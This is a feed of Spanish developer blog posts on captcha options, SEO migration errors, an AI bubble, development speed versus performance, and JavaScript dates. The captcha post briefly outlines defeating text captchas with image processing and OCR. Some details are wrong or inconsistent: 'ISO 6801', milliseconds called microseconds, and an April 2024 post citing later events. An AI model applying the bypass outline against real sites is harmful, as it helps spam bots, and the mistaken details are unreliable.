Este es mi análisis de algunas de las opciones más populares de captchas que existen y mi opinión como usuario sobre sus ventajas y desvantajas y su nivel de seguridad. Este análisis incluye google recaptcha, captchas de deslizamiento, preguntas sencillas, reconocimiento de caracteres y el captcha más resistente a bots que conozco.

Pros y contras de usar Captchas

Si estás leyendo esto es porque probablemente tu sitio web se llena de bots, o te preocupa que suceda, y temes el efecto que pueda tener el poner captchas en tu sitio web.

Pros de usar Captchas

Los pros son que puedes limitar, el avance de los bots en tus sistemas, dejarán de llenar tus formularios e intentar automatizar acciones en tu sitios web, esto dejará de inflar tus métricas y tendrás una imagen más clara del comportamiento real de tus usuarios en tu sitio web.

Podrás reducir el web scrapping en tu sitio web, lo cual puede preocupar a sitios web grandes como Amazon, Mercado Libre, Ali Express, etc.

Contras de usar Captchas

No todo es maravilloso, claro, los captchas suelen reducir la conversión de los usuarios pues introducen fricción, cada click extra o tiempo de espera extra reduce la cantidad de usuarios que siguen tu funnel de conversión.

Además hay riesgos altos de falsos positivos, yo mismo lo he experimentado, navegar internet usando Linux enciende las alarmas de todos los sistemas anti-bots y es bastante molesto, aunque generalmente los sistemas anti-bots modernos son muy inteligentes.

Cambia la experiencia del sitio web, para sitios web que intentan ofrecer una “experiencia” al navegar, puede arruinar la inmersión, imagínate que antes de comprar un anillo de super lujo en linea, después de pasar por animaciones sofisticadas y un diseño super limpio tengas que identificar conos de transito en imágenes borrosas, ciertamente no es algo que tus clientes premium van a disfrutar.

Google recaptcha y similares

Estoy seguro de que ya conoces este, pues es el captcha más común, y probablemente el más popular que existe. Destacan aquí el de Google y el de Cloudflare.

El funcionamiento interno de este tipo de captchas es muy complejo y se basa en reconocer patrones en el tráfico de un usuario y probablemente analizarlos contra el gran cantidad de información que han recopilado a lo largo de los años para luego decidir si existe una probabilidad significativa de que un usuario sea un bot.

Para un hipotético usuario generalmente basta con darle un click al checkbox y listo, pero si no convencimos al algoritmo del captcha, este nos pedirá ~~que entrenemos a sus modelos de AI completamente gratis~~ un par de pruebas más en las que tendremos que identificar imágenes.

La única desventaja que le veo a este tipo de captcha es que al usarlo estamos alimentando a google con más información de los usuarios de nuestro sitio web. Y puede que no te importe que google recopile más información, si es el caso solo me queda sacar a colación el escandalo de Cambridge Analytica.

Son confiables los google captchas?

Sí, es una excelente solución para limitar las acciones maliciosas de la mayoría de los bots, además tiene una excelente relación seguridad-experiencia de usuario pues resultan mínimamente invasivos en la mayoría de los casos. Considero que los casos mínimos en los que se pide una verificación adicional, como marcar casillas, solo deberían inportunar a unos cuantos usuarios.

La única desventaja de este tipo de captchas es que su configuración no es tan trivial como otros métodos, sobre todo si estás trabajando con desarrollos personalizados o usando algún framework.

Mi veredicto:

Securidad: 9
Amistoso con el usuario: 8 sin el reconocimiento de imagenes y 5 con el reconocimiento de imágenes

Preguntas básicas como captchas

Existen opciones de captchas más primitivas, pero no por eso menos efectivas tal como una pregunta simple: ¿Cuánto es 7 + 2?.

Para resolverla basta con leerla y colocar el resultado correcto.

Este tipo de captchas me parecen super prácticos para lidiar con la mayoría de los bots que deambulan ciegamente en internet, y además son mínimamente invasivos para el usuario.

Su desventaja, me parece, es su debilidad contra un ataque personalizado, pues bastará con que un humano entre al sitio web, lea la pregunta y adapte el código a su conveniencia.

Además considero que, con el auge de la inteligencia artificial se volverán obsoletos, pues es suficiente pedirle a la AI que lea el label del input y que genere una respuesta adecuada.

Mi veredicto:

Securidad: 6
Amistoso con el usuario: 8

Captchas de identificación de caracteres

Otra alternativa popular a las preguntas sencillas es utilizar una imagen con números y letras y pedirle al usuario que los identifique y coloque en el campo adecuado, estas letras vienen distorsionadas de alguna forma para volverlas irreconocibles a los bots.

Este tipo de captcha suelen ser bastante invasivos para los usuarios y pecan de arruinar la experiencia web. Por si fuera poco, no los considero particularmente útiles para lidiar con los bots, incluso hay tutoriales sobre como resolver estos captchas de manera casi automática .

Si no quieres leer el artículo completo te lo resumo, básicamente consiste en tratar la imagen con software de edición de imágenes para resaltar los caracteres y posteriormente utilizar un OCR, como tesseract en combinación con alguno de sus bindings, como pytesseract , para leerlos.

También toma en cuanto que muchos de estos captchas modernos consideran también el como llenas el input de texto, es decir, esperan que lo llenes como un humano, llevando el mouse hacia ellos y escribiendo letra por letra a intervalos regulares.

Mi veredicto:

Securidad: 7
Amistoso con el usuario: 6

Captchas de campos invisibles

Este tipo de captchas se basa en el CSS para crear inputs invisibles al usuario, que un bot sí detectará e intentará llenar, por lo que luego podrán ser leídos por el servidor y descartados.

Este tipo de captchas me parecen perfectos para el usuario, pues son completamente invisibles a este, sin embargo sufren de ataques personalizados donde un humano detecta la estrategia y simplemente modifica el bot para que no llene esos campos ahora visibles.

<form method="post">
    <!-- Hide this with css instead -->
    <input type="text" name="email" style="display:none;">
    <!-- real field -->
    <input type="text" name="real_email">
    <input type="submit">
</form>

Mi veredicto:

Securidad: 7
Amistoso con el usuario: 9

Captchas de arrastre o slider

He visto este tipo de captchas en Tik Tok principalmente, pero generalmente no los encuentras tan fácilmente.

Yo considero los captchas de arrastre como unos de las opciones más balanceadas que existen, son rápidos de resolver y bastante seguros, aunque dudo que sean totalmente seguros contra todos los bots, principalmente contra aquellos que tratan de simular los movimientos de mouse de los usuarios.

Nunca he roto uno de estos captchas, pero me imagino que usando un tratamiento de imagen como en el ejemplo pasado y alguna herramienta de emulación de movimientos de mouse, no debería de ser imposible. Lo que me lleva al último tipo de captcha.

Mi veredicto:

Securidad: 8
Amistoso con el usuario: 8

Captchas seguros y casi imposibles de resolver

Este es probablemente el captcha más seguro, y también el más invasivo que he visto. Se encuentra en el image board angloparlante más popular a la fecha y no lo he visto en ningún otro sitio.

Quiero que notes lo sofisticado que es este captcha. Es una simple caja donde muestra unos garabatos a blanco y negro, completamente ilegibles y en el fondo una imagen que, al deslizar el slider, se superpone con la imagen del fondo, revelando el captcha ante tus ojos.

Este gradiente que se forma entre los captchas “falsos” y el “verdadero” confunde a cualquier software de reconocimiento de caracteres, volviéndolo completamente inservible.

Aunado a lo anterior, este captcha requiere interactividad por parte del usuario, pues requiere que se deslice el slider con cuidado, lo que descarta a todos aquellos headless bots.

En contraparte, tiene la desventaja de ser invasivo para el usuario, interrumpiendo la experiencia al navegar. Además, yo me atrevería a afirmar que este captcha también da muchos falsos positivos; yo mismo soy incapaz de leer con precisión los caracteres que ahí aparecen y no soy un bot ¿o sí?

Mi veredicto:

Securidad: 10
Amistoso con el usuario: 2

En defensa de este captcha, diré que es un mal necesario en un sitio web donde no es necesario registrarse para publicar, hogar del que fue (o es) uno de los más famosos grupos de hackers: Anonymous y en donde se distribuyó (o distribuye) material ilegal con el potencial de hacerte dudar si la humanidad merece compartir este planeta con el resto de animales.

Definitivamente no recomiendo este tipo de captcha a menos de que tengas un sitio web con características similares, y si lo eres, mis más profundas condolencias.

Mis errores de optimización en el SEO técnico al migrar de Wordpress

Sat, 27 Apr 2024 19:49:56 +0000

Hace unos años, migré mi sitio web un par de veces, primero de Wordpress a Frontity (Un framework de wordpress en React) y luego de Frontity a una app de Hugo en Digital Ocean . No me arrepiento para nada de mi decisión, pero cometí unos cuantos errores respecto al SEO que probablemente puedas evitar si tomas en cuenta lo que estoy a punto de contarte.

Tras el error incluso escribí una Mi Guia De SEO Técnico Básico Solo Para Desarrolladores Web

¿Por qué debería importarte el SEO en el desarrollo web?

El SEO es el factor que determina si un sitio web aparece primero en los resultados de búsqueda de un motor de búsqueda (casi siempre Google pero puede ser Duck Duck Go, Bing, Yandex, entre otros) o si es sepultado en las últimas posiciones, recibiendo poco o nulo tráfico y condenando al negocio que representa a la quiebra, o si es un proyecto personal, al olvido total junto con tus sueños de grandeza.

Y no estoy hablando de diferencias sútiles, estoy hablando de diferencias abismales.

A riesgo de sonar redundante, lo repetiré nuevamente: el tráfico de un sitio web es mucho más importante que la eficiencia, el aspecto o el lenguaje o framework con el que esté hecho, sí, aunque lo escribas en C++, Rust o directo en ensamblador.

Aves exoticas es el ejemplo perfecto de un sitio web visualmente no tan atractivo, pero con un SEO impecable que lo posiciona en la primera posición en google.

¿El SEO sirve? Los desarrolladores web suelen ignorarlo

La mayoría de los desarrolladores poseen un background ingenieril, donde se valora la eficiencia, las buenas prácticas y se pasa por alto el aspecto comercial de un sitio web.

De ahí que cuando un desarrollador web lanza sus proyectos personales, suele ignorar por completo el SEO y se centra, erróneamente, en optimizar su sitio web al máximo , generalmente consiguiendo un sitio web extremadamente rápido, eficiente, e incluso visualmente atractivo, pero sin tráfico.

Dicen por ahí que solo los verdaderos programadores programan en lenguajes de bajo nivel

Mis errores al migrar un sitio web de Wordpress sin considerar el SEO

Cuando migré el blog lo primero que ignoré fueron las múltiples consecuencias de hacerlo abruptamente. Para empezar el sitemap, posteriormente la estructura de las URL y por último, como cereza del pastel, la ausencia de un schema.

La presencia de un sitemap es crucial en el SEO

Un sitemap es un archivo xml que funciona como un mapa de tu sitio web .

El sitemap que tenía mi sitio web anterior se encontraba en una dirección específica, cuando migré el sitio web esa dirección cambió, por lo que Google fue incapaz de encontrar el nuevo sitemap, ¿qué sucedió? Google indexó las páginas como pudo y quiso y, como seguramente ya sabrás, no fue la mejor manera y sufrí las consecuencias.

Me di cuenta lo mal que estaba cuando una noche mi celular vibró al ritmo de la cascada de advertencias que Google Search Console mandaba en forma de notificaciones de mi celular.

Un sitemap es un índice, usualmente en formato XML, que lista las páginas de tu sitio web

¿Cómo pude evitarlo? Entrando en Google search console y reemplazando la vieja dirección del sitemap por la nueva y solicitándole a los sistemas de google una nueva lectura.

Como me di cuenta de que la estructura de las URLs es importante en el SEO

Pero mi pesadilla no terminó ahí, tras la migración de Wordpress a Hugo Google detectó una gran cantidad de errores 404 al acceder a las viejas URLs y, como resultado de la consecuente penalización, mi tráfico disminuyo cerca de un 70%.

¿Por qué sucedió esto? Imagínate que los motores de búsqueda ven tu sitio web con una estructura URL como la siguiente.

graph TD; Website-->Year; Year-->Month; Month-->Day; Day-->Entry_1;

Y cuando tu realizas la migración, la estructura cambia;

graph TD; Website-->Posts; Posts-->Entry_1;

Lo importante a recordar aquí es que los motores de búsqueda no tienen una manera de reconocer fácilmente que una entrada es exactamente la misma que otra si ha cambiado de ubicación, sobre todo si esta migración conlleva cambios ligeros en los elementos HTML de la página. Si bien es cierto que Google puede detectar contenido duplicado y es capaz de renderizar una página web, eso no significa que “vea” las entradas de manera visual, como un humano lo haría, en sus entrañas sigue recibiendo y analizando texto en forma de HTML.

¿Cómo pude haber evitado esa caida de tráfico?

Por medio de una redirección, en este caso bastaba con indicarle a Google que si accedia a /2020/12/12/entry_1 debía redirigirse a /posts/entry_1, ¿y cómo? retornando una respuesta HTTP 302 o 308 , Found or Permanent redirect, respectivamente.

La ausencia del marcado de datos estructurados o Schema

Cuando usaba Wordpress el plugin Yoast se encargaba del marcado de datos estructurados, pero en Hugo esto tiene que realizarse de forma manual, por lo que mi sitio web duró un tiempo sin estos datos estructurados, ¿el resultado? Una penalización de google en forma de una disminución de las impresiones, y por ende el tráfico de mi sitio web.

El marcado de datos estructurados para un sitio web luce así

El marcado de datos estructurados se presenta generalmente en forma de un script de tipo application/ld+json en un sitio web, no se puede apreciar de forma visual pero es leído por los motores de búsqueda y les sirve para entender el tipo y las relaciones que existen entre cada una de las entidades de tu sitio web.

¿Cómo pude evitar este error? Simplemente añadiendo un esquema de datos estructurados personalizado y leyendo al respecto en la págia oficinal de schema org

No olvides actualizar la Google Search Console

Si vas a cambiar también de dominio al cambiar tu sitio web, Google Search Console tiene una herramienta que te permite indicarle a Google que vas a cambiar el dominio, de esta manera Google “sabe” que vas a migrar tu contenido y puede hacer una equivalencia de las nuevas URLs a las viejas, para que no pierdan posiciones en su sistema de ranking.

Recuerda guardar la misma estructura semántica

Si vas a migrar de Wordpress, esta plataforma tiene cierta estrutctura de urls, por ejemplo:

/category-1/title-54
/category-2/title-12

Asegúrate de que cada url en tu nuevo sitio guarde la misma estructura, tendrás que trabajar extra pero con eso te aseguras de que los buscadores entiendan las jerarquias que existen entre los elementos de tu sitio web de la misma manera.

Esa es la trágica historia de como disminuí mi tráfico siendo un lego en el SEO.

Pero tras este incidente hay un final feliz, pues me puse a leer y ver videos al respecto y aprendí muchísimas cosas que puse en práctica, ahora mismo el sitio web no está al nivel que estaba antes pero se dirige hacía allá y lo mejor es que ahora sí sé lo que estoy haciendo.

No me había dado la oportunidad de tocar este tema en el blog, porque semánticamente está bastante alejado de lo que la mayoría de devs entiende por desarrollo web, aunque realmente no lo sea.

Pero por fin me decidí a plasmar estos erorres en una entrada y si pueden ahorrarte un par de dolores de cabeza, pues que mejor.

El auge y la caida de la burbuja de AI

Thu, 18 Apr 2024 00:00:00 +0000

Antes de que leas esta entrada, quiero que algo quede muy claro. Una burbuja no implica que algo sea inútil o sea falso o vaya desaparecer, lo que implica es que su valuación en el mercado está muy por encima de su valor real.. Eventualmente el mercado se corregirá y su valor caerá.

Lo que se debate aquí no es si la AI es útil o no, claro que lo es, por lo menos para un sector específico de la población (los programadores), lo que se debate es si está inflada o no en el mercado.

Pero yo creo que, si bien la AI tiene capacidades asombrosas, está lejos de revolucionar el mundo y conseguir la automatización total esperada por el público en general en el corto plazo. La AGI que promete reemplazar a todos los empleados aún está lejos, si es que es posible, lo más cercano que tenemos es una habitación china de Searle .

Y no estoy solo en esto, incluso compañias tan grande como Apple, abandonaron la carrera de la AI, ¿sus razones? Probablemente puedes encontrarlas detalladas en su paper The Illusion of Thinking: Understanding the Strengths and Limitations of Reasoning Models via the Lens of Problem Complexity .

Incluso Sam Altman admite que ve una burbuja de AI , de acuerdo a los medios:

“Are we in a phase where investors as a whole are overexcited about AI? My opinion is yes. Is AI the most important thing to happen in a very long time? My opinion is also yes,”

Muchas empresas de AI no pueden mantener las expectativas

Builder.AI, una prometedora IA que ofrecía sitios web creados con IA, no era más que un grupo de desarrolladores indios trabajando entre bastidores, y acaba de declararse en quiebra . ¿Ves? No hay AGI.

Esta es solo otra prueba más de que muchas empresas de IA están jugando al gato y al ratón con el dinero de los inversores. Intentan crear expectativas para obtener dinero de los inversores ángeles y de quien sea, y luego caen estrepitosamente cuando no cumplen con lo prometido. Pero en ese momento, a quién le importa, ya se ha ganado el dinero y los negocios implican riesgos, así que…

De igual forma, Devin AI cayó en el olvido. Al mismo tiempo, estamos apreciando la ley de rendimentos decrecientes en cada nuevo LLM que aparece, los modelos generativos ya están llegando a ese punto también.

Inclusive, algunas compañias ya abandonaron la idea de reemplazar desarrolladores y se enfocaron en volverse herramientas de creación de código, como Bolt, Lovable o V0 , y otras están surgiendo para posicionarse como asistentes de código para desarrolladores: Opencode, Claude Code, Codex, etc.

Humanity’s last exam muestra que estamos muy lejos de la AGI

Consideremos las puntuaciones del último examen de la Humanidad, como pueden ver estamos alrededor del ~30%, lo cual es francamente mucho, no creo que hayamos estado de un avance tan significativo como este, solo pensar en las posibilidades me hace temblar, pero los inversores y los medios de comunicación clickbait están tratando de convencerlos de que estamos alrededor del 100%, lo cual es una falacia de tamaño descomunal.

No te confundas, estos valores son increíbles, pero no son la panacea que venden los medios y los inversores.

La burbuja de AI es culpa de la ignorancia de inversores y consumidores

Basta con que una empresa use AI para dotarla de una magia desconocida que la vuelve irresistible hacia el público en general, y también para los inversionistas. Y esto por una sencilla razón: como sociedad no entendemos como funciona la AI a nivel interno, no entendemos las estadísticas detrás y le dotamos del misticismo de la magia.

Los consumidores, generalmente negocios, esperan que la AI reduzca (o elimine) los costos de contratar personal y los inversores esperan la inversión de sus vidas.

No es que la AI no sea valiosa, lo es, solo que, actualmente, su valor está inflado

La fiebre financiera por la AI y la inversión de capital

Por supuesto, los inversores no quieren quedarse fuera de esta fiesta y están tan deseosos de sacarse la lotería y convertirse en el nuevo Zuckerberg de la inteligencia artificial, que abren sus carteras sin pensarlo cada vez que escuchan la palabra “AI” en el mismo enunciado que “disruptivo”.

Pero, en mi opinión, todo esto no es más que un montón de empresas y emprendedores actuando en consecuencia a lo anterior, tal como sospecho que hicieron los creadores de Devin, el supuesto reemplazo de los programadores .

El mercado intenta conseguir dinero fácil y rápido por el creciente y repentino interés de los legos del mundo de la tecnología por algo tan abstracto, y con aires tan esotéricos, como lo es la AI.

Los despidos causados por la AI

Probablemente has presenciado el ambiente de incertidumbre en la industría de la tecnología, tienes miedo de perder tu trabajo, tienes miedo de que te reemplacen. Si bien es cierto que la vara está más alta y la maquila de código ya no tiene valor, los despidos no responden a la AI, sino a otras causas.

Las empresas han aprovechado las circunstancias para hacer AI-washing con los despidos y culpar a la AI de sus decisiones financieras.

Muchas de las soluciones de AI son solo wrappers de ChatGPT

Aunado a esto, la mayoría de las personas involucradas en el aspecto financiero de la AI no comprenden que realmente no ha cambiado mucho en el mundo del código, la mayoría de las soluciones solo usan a ChatGPT por detrás, junto a una interfaz linda para presentarse como el siguiente unicornio y buscar el dinero fácil de los inversores.

No es que usar chatGPT para tu empresa esté mal, pero si una app es sólo un envoltorio de GPT, el riesgo de convertirse en una commodity es alto, ¿vamos a tener miles de apps diferentes que resuelven el mismo problema y son sólo envoltorios de chatGPT? No puedes tener un unicornio que cualquiera puede replicar con unas cuantas lineas de código.

A pesar de que se han creado protocolos para interacción con los LLM; como el Model Context Protocol , lo más abundante son AI Wrappers.

Y no es que lo anterior esté mal, pero yo preferiría que se exploraran todas las posibilidades que la AI tiene para ofrecer, que entrenáramos redes neuronales para automatizar cada aspecto tedioso de la sociedad y liberar al ser humano del paradigma de efectuar tareas repetitivas de 9-5, quizás el diseño de mejores drogas por medio de la inteligencia artificial . Yo sí quiero más inversión en AI, pero que “agregue valor”, no solo que busque obtener rendimientos rápido.

Las empresas se quedan sin datos para entrenar a los LLM

También existe un límite físico para el desarrollo de la AI y este es la cantidad de datos y la capacidad de procesamiento. El segundo podemos resolverlo, pero ¿y el primero? La AI es tan buena como los datos que se usan para entrenarla y estos se volverán cada vez más escasos, más del 50% del contenido online ahora es generado por AI. , estamos entrando en la ley de rendimientos decrecientes. Y, no soy el único que piensa esto.

La avaricia que alimenta el uso de la AI va a inundar internet con una miríada de artículos sobre AI, que van a ser usados para alimentar a la AI y esta los regurgitará, una y otra vez ~~como en la película del ciempiés humano~~.

El fin de la burbuja de AI y la nueva normalidad

Dicho lo anterior pareciera que creo que todo esto de la AI no es más que humo y espejos, pero no, yo creo que la AI va a quedarse y su potencial de revolución social, al menos en el corto plazo, va a ser exclusiva de un grupo muy reducido de empresas, entre las que destaco openAI, Google, Microsoft y los jugadores de siempre.

En mi opinión, las Inteligencias Artificiales son el autocompletado definitivo, ya sea de texto, imágenes o video, nada más. La AGI es un hito que se mantiene distante en el futuro.

Machines don’t learn. What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs. This mathematical formula also generates the correct outputs for most other inputs (distinct from the training data) on the condition that those inputs come from the same or a similar statistical distribution as the one the training data was drawn from. -Andriy Burkov

La burbuja financiera va a tronar, el hype va a morir y vamos a alcanzar un plateau en donde las personas van a entender el potencial real de la AI, así mismo sus limitaciones, y se convertirá en una herramienta más a disposición. Sí, el internet va a cambiar en ese momento para siempre. Y finalmente los AI bros pasarán al siguiente trend y dejarán de esparcir FOMO en redes.

No Te Obsesiones Con El Rendimiento De Tu Aplicacion Web

Wed, 03 Apr 2024 00:00:00 +0000

Esta entrada es para ti, que quieres independizarte de las empresas y estas buscando crear tus propios proyectos en el mundo del internet ¿Has pensado si de verdad importan tanto esos milisegundos de rendimiento extra que obtenemos al cambiar un proyecto a un lenguaje más verboso o si la búsqueda del framework más veloz realmente vale la pena?

En el mundo de los programadores hay una obsesión por la velocidad y el rendimiento; queremos exprimir cada milisegundo posible al lenguaje y reducir el consumo de memoria al mínimo posible y escribir las queries en su versión más elegante que lleve al límite de la velocidad a nuestra base de datos y los sometemos al más riguroso análisis de rendimiento big O .

En esa búsqueda constante pasamos de lenguajes de alto nivel a lenguajes de más bajo nivel, deambulamos por los rincones más oscuros de la documentación rumbo a los runtimes más esotéricos escritos en lenguajes arcanos cuyos nombres parecen sacados de un diccionario de otro idioma. ¿Se te vino a la mente alguno en particular? A mi sí.

A lo largo de esta odisea virtual, nos olvidamos por completo de lo que probablemente sea el único factor que importa: el aburrido mercado.

¿Qué tanto importan las requests per second al iniciar?

Si tú, o tu empresa, no son un jugador de ligas mayores en internet, probablemente estás dándole más importancia de la necesaria al hecho de que tu aplicación sirva 1 petición por segundo en lugar de 100.

Algunos frameworks soportan 600k peticiones por segundo

Sí, es cierto que estamos hablando de un factor de 100, pero considera lo siguiente:

Una petición por segundo significa 60 en un minuto, 3600 en una hora y 86400 al día. ¿De verdad te preocupa que tu aplicación tenga un tráfico de 86400 peticiones en un día? Si ya tienes tal tráfico, pagarle a un desarrollador extra para que se encargue de ajustar los engranes de tu software no debería ser un problema, y si lo es, probablemente no tienes un problema de rendimiento, sino de monetización.

No todos los proyectos requieren que aprendas la complicada sintaxis de Rust.

¿Importa el consumo de memoria en una nueva aplicación web?

Acaso importa que tu aplicación se ejecute con un consumo mínimo de memoria usando un lenguaje de bajo nivel, o con un consumo mayor usando un lenguaje de alto nivel. Yo diría que depende; si tu aplicación o proyecto es nuevo, probablemente valga la pena pagar unos dólares más al mes por memoria extra a cambio de una mayor velocidad de desarrollo en cada iteración.

No digo que esté mal cuidar los aspectos técnicos, pero en este momento hay cosas más importantes, como el adquirir información que se traducirá en rentabilidad posteriormente, o destinar más recursos el marketing y la publicidad de tu startup o proyecto que en perder tiempo limando las asperezas de tu código.

Optimizar para tener un buen SEO también es más importante que el consumo de memoria o la eficiencia de tu aplicación, creeme, aprendí la importancia del SEO a partir de mis propios errores.

Velocidad de desarrollo vs rendimiento

Para la mayoría de las startups o solopreneurs, el proceso de exploración del mercado será más importante que reducir el consumo de recursos. ¿De que te sirve reducir tu consumo de RAM y procesador a la mitad si tus iteraciones van a pasar de una semana a dos semanas y media?

Generalmente suficientemente rápido es rápido

No elijas un lenguaje eficiente, sino uno que te permita ser flexible a los cambios y adaptarte rápido mientras obtienes información. En este caso, la velocidad de desarrollar nuevas características o modificar las existentes es mucho más importante que el rendimiento de estas.

Recuerda que en tecnología todo es un trade-off, en este caso rendimiento por productividad.

Asi mismo, manten presente, que esto también aplica al elegir las herramientas que conoces; quizás seas más rápido programando en un lenguaje de bajo nivel que ya domines, que en uno de alto nivel que no domines.

A veces usar una herramienta como n8n puede ser mejor que programar todo desde cero.

Manten presente la deuda técnica

Otra cosa, cuando optimices en favor de la velocidad de desarrollo, no te olvides de considerar la deuda técnica, encuentra el punto de inflexión y pivotea hacia la escalabilidad.

Créditos de la imagen a Martin Fowler

Situaciones donde sí importa el rendimiento y la seguridad

¿Significa que deberías olvidarte de todos los demás lenguajes y tratar de implementar todas tus ideas en ~~javascript~~ una herramienta escrita en un lenguaje mediocre solo por la velocidad de desarrollo?, no, creo que hay situaciones donde es crucial elegir lo más rápido, seguro y eficiente, como por ejemplo: para navegadores, motores de videojuegos o sistemas operativos (aunque este post es sobre aplicaciones web), aunque, nuevamente, no vas a diseñar un sistema operativo tú solo… a menos de que quieras que tu OS sea el tercer templo de Jerusalen y quieras comunicarte con dios.

Usar un lenguaje de bajo nivel suele ser la decisión correcta para situaciones donde el rendimiento es crítico, no quieres servicios donde la vida o la salud de las personas estén en juego escritos en lenguajes de alto nivel, que suelen ser más flexibles en el tipado y más propensos a errores en tiempo de ejecución.

También querrás rendimiento y seguridad en entornos donde trates con cosas aún más importantes que la vida de las personas, como aplicaciones relacionadas con el mercado financiero y donde se manejen cantidades importantes de dinero (es sarcasmo, por si acaso, los únicos que piensan así son la gente de Wall street).

Herramientas To Get Shit Done

Yo soy un defensor de evitar reinventar la rueda cada vez. Es bastante molesto tener que crear sistemas de autenticación, CRUDS, consultas a la base de datos una y otra vez, incluso aunque algunas comunidades, como la de Go, prefieran implementar todo desde cero y tengan fuertes sentimientos de aversión hacia la automatización (a pesar de dedicarse a la programación).

Te dejo una lista de algunas de mis soluciones favoritas para ahorrarte todo el boilerplate y centrarte en lo importante, que si bien no poseen el mejor rendimiento, se centran en tener prototipos funcionales lo más pronto posible.

Wordpress: porque ya tu sabe’
Ruby on Rails: Framework maduro, con mucha trayectoria y fácil de usar
AdonisJs: Javascript con ORM y autenticación incluida
Coolify: Coolify es una alternative a plataformas como Vercel/Netifly/Heroku , pero open source y con licensia permisiva.
Django: por su facilidad de tener un MVP rápido . Además, al ser un framework muy maduro, hay mucha información sobre como escalarlo para manejar hasta un millón de usuarios
Pocketbase: Backend portátil hecho en Go, un solo binario, autenticación y CRUD
Supabase: Otro backend portátil, pero en Javascript
Appwrite: Autenticación, base de datos, funciones, almacenamiento y mensajes
Cookiecutter: plantillas para ahorrarte Boilerplate, el de Django es muy bueno
Autoestrada: Autenticación, JWT, base de datos y más en Go
Hugo: Generador de sitios estáticos, suficientemente rápido (aunque no tanto como su version en Rust, Zola)
Herramientas no-code
Daisy UI: Librería de componentes basada en Tailwindcss
N8n: Herramienta de automatización

Cuando sea momento de cuidar el rendimiento, hazlo

Una vez que el flujo de efectivo sea el suficiente, reescribe tu aplicación en un lenguaje de bajo nivel, deshazte del ORM y ejecuta tus consultas SQL de manera manual, implementa tus propias abstracciones en lugar de usar un framework, refactoriza tu app entera con un patrón de arquitectura más robusto y contrata especialistas que cuiden cada milisegundo extra en tus sistemas.

Cuando llegue ese momento, espero que llegues al punto donde cambiar de un lenguaje como Go a Rust, como le pasó a Discord , realmente marque la diferencia.

Porqué Detesto datetime-local Y Las Fechas en Javascript

Wed, 20 Mar 2024 00:00:00 +0000

Trabajar con Javascript es frustrante y, a veces, combinarlo con HTML resulta desesperante por su falta de coherencia interna, por si fuera poco, utilizarlo para el manejo de fechas, que requiere considerar el manejo de timezones, diferentes formas de representarlas y la sensibilidad requerida: segundos, minutos, milisegundos, etc. lo vuelve una tortura.

Javascript maneja las fechas de manera extraña

Javascript usa los meses partiendo del índice 0 y los días del índice 1, dos objetos con la misma fecha son desiguales al compararlos con === (sí, ya sé que lo que se compara son los objetos y no las fechas), pero es justo el hecho de que no es intuitivo, al usuario del lenguaje no le interesan los objetos en memoria en si, sino lo que representan. Lenguajes como Python tiene mejores abstracciones que las que maneja Javascript.

El manejo de fechas en Javascript no es intuitivo

La desconexión entre HTML y JS

En el caso de agendar un evento con fecha y hora, es tentador utilizar el input datetime-local nativo que ya provee HTML. Sin embargo, este campo por defecto requiere una fecha en formato “YYYY-MM-DDThh:mm”, mientras que javascript regresa las fechas en un objeto Date, que debes transformar a ISO 6801 “YYYY-MM-DDThh:mm.iiiZ”, donde la “i” son microsegundos (o a otro formato con una función propia).

Las abstracciones de las fechas en Javascript pueden confundir a sus usuarios

Para realizar esta transformación, la manera más obvia es eliminar la letra “Z”, pero si intentas asignar esa fecha al input de tipo datetime-input, este le permitirá seleccionar los milisegundos al usuario, lo cual realmente tiene pocas aplicaciones para la mayoría de los usuarios. Lo correcto sería cortar desde el principio, haciendo un slice desde la posición 0 hasta la sensibilidad que necesitemos.

Bien, tras esto el input datetime-local funcionará y mostrará la fecha, el problema ahora es que después de validar tu campo HTML y probablemente antes de guardar esas fechas en algún medio de almacenamiento (postgres, redis, etc.), querrás realizar modificaciones, por lo que tendrás que volver a convertirlas a un objeto Date en javascript en caso de que quieras gestionarlas, lo que implica nuevamente otra conversión.

Oh, mom! Not javascript again!

Pero, ¿y si usamos una librería para manejar esos cambios?

Las librerias de js para el manejo de tiempo no solucionan nada

No tengo nada en contra de usar Moment o react-datetimepicker, Dayjs, etc. De hecho creo que sus desarrolladores realizan una tarea muy digna: el simplificar el deficiente manejo de fechas de Javascript (si algún contribuidor lee esto, gracias).

Esas librerías existen, porque Javascript hizo un pésimo papel al diseñar su librería estándar. Las librerías son cómodas de usar pero, en un mundo ideal, no deberían existir.

Quizás pueda parecerte insignificante añadir una librería más, pero no es el peso el problema, sino el hecho de que una librería para algo tan común como el manejo de fechas sea tan necesario, además de que añade peso innecesario a tu bundle y una dependencia extra que gestionar.

El hecho de que estas librerías sean populares solo pone de manifiesto las carencias de Javascript como lenguaje.

Y sí, ya sé lo que estás pensando. Aunque me gusta mucho el lenguaje de programación Go , también soy capaz de reconocer sus carencias y áreas de mejora.

El formateo de fechas en Go también es deficiente

Temporal resolverá todo este lío

Por supuesto, tú y yo no somos los únicos que nos quejamos de las fechas en JavaScript, esto ha sido un problema durante mucho tiempo, pero nuestras plegarias han sido escuchadas y Temporal parece ofrecerse como sustituto de la biblioteca original de gestión de fechas . Por ahora, el soporte de los principales navegadores es mínimo, pero es solo cuestión de tiempo, finalmente tendremos una biblioteca para fechas que no sea complicada.


// Note that the date is stored internally as ISO 8601, even when it's
// interpreted in a different calendar system. For example, even though
// 2021-07-01 is 4658-05-22 in the Chinese calendar, you still pass the
// ISO date to the constructor.
const plainDate2 = new Temporal.PlainDate(2021, 7, 1, "chinese");
console.log(plainDate2.toString()); // 2021-07-01[u-ca=chinese]
console.log(plainDate2.year); // 4658
console.log(plainDate2.month); // 5
console.log(plainDate2.day); // 22

Otras bibliotecas para manejar fechas sin esfuerzo en Javascript

Mientras temporal está listo, o si tus necesidades son algo complejas, puedes usar las siguientes alternativas.

Devin AI ¿El Supuesto Reemplazo de los Programadores?

Wed, 13 Mar 2024 00:00:00 +0000

Hoy se popularizó la noticia, de que un “Ingeniero de Software AI” con el nombre de Devin AI, hecho por Cognition Labs , estará disponible en el mercado. Y, por supuesto, provocó una fuerte reacción entre la comunidad de profesionales del software. Reacciones que van desde el cinismo hasta el miedo, pasando por la desilusión, abundan en los comentarios de los videos relacionados.

Aunque aún estamos lejos de tener una AI consciente de si misma , lo que sí tenemos son LLM fine-tuneables con características prometedoras que amenazan con poner patas arriba a la industria de la tecnología.

